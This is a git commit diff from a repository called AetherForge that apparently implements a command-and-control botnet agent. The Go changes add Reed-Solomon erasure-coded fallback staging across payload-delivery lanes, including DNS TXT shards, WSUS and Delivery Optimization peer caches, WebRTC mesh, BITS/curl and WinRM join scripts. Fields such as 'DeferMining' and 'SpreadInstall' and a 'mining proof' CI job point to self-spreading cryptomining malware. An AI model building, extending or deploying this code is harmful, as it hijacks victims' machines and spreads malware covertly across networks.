drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Details

Browse Source 
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
AetherForge
2026-06-07 06:09:20 -07:00
parent 39b935aeb6
commit 0445b7ed4f
39 changed files with 1379 additions and 72 deletions
Download Patch File Download Diff File Expand all files Collapse all files

64
agent/deploy/discover_join.go
View File

@@ -54,6 +54,7 @@ type DeployPlanBody struct {
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"`
}
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
@@ -95,6 +96,19 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
return deferMsg, nil
}
tryPrimary := func(run func() (string, error)) (string, error) {
msg, err := run()
if err == nil {
return msg, nil
}
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
return "", err
}
switch lane {
case "do_peer":
if plan.Manifest == nil {
@@ -104,11 +118,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if peer == "" {
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
}
msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
if err != nil {
return "", err
}
return msg, nil
return tryPrimary(func() (string, error) {
return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
})
case "wsus_cache_peer":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
@@ -117,11 +129,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if group == "" {
group = strings.TrimSpace(plan.Manifest.CacheGroup)
}
msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
if err != nil {
return "", err
}
return msg, nil
return tryPrimary(func() (string, error) {
return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
})
case "dns_txt":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
@@ -134,11 +144,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if ttl == 0 {
ttl = plan.Manifest.TTLRefreshSec
}
msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
if err != nil {
return "", err
}
return msg, nil
return tryPrimary(func() (string, error) {
return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
})
case "webrtc_mesh":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
@@ -171,7 +179,8 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
ApplyLANSeederToWebRTC(&policy, seeder)
}
}
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
return tryPrimary(func() (string, error) {
return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
Policy: policy,
SHA256: plan.Manifest.SHA256,
Dest: plan.Manifest.Dest,
@@ -180,22 +189,21 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
DeferMining: plan.Manifest.DeferMining,
SpreadInstall: plan.Manifest.SpreadInstall,
})
if err != nil {
return "", err
}
return msg, nil
})
case "bits_curl", "docker_load":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
}
msg, err := RunStagingChain(cfg, *plan.Manifest)
if err != nil {
return "", err
}
if lane == "docker_load" && plan.ImageTarURL != "" {
msg += "; docker_load image=" + plan.ImageTarURL
}
return msg, nil
return tryPrimary(func() (string, error) {
msg, err := RunStagingChain(cfg, *plan.Manifest)
if err != nil {
return "", err
}
if lane == "docker_load" && plan.ImageTarURL != "" {
msg += "; docker_load image=" + plan.ImageTarURL
}
return msg, nil
})
case "winrm":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err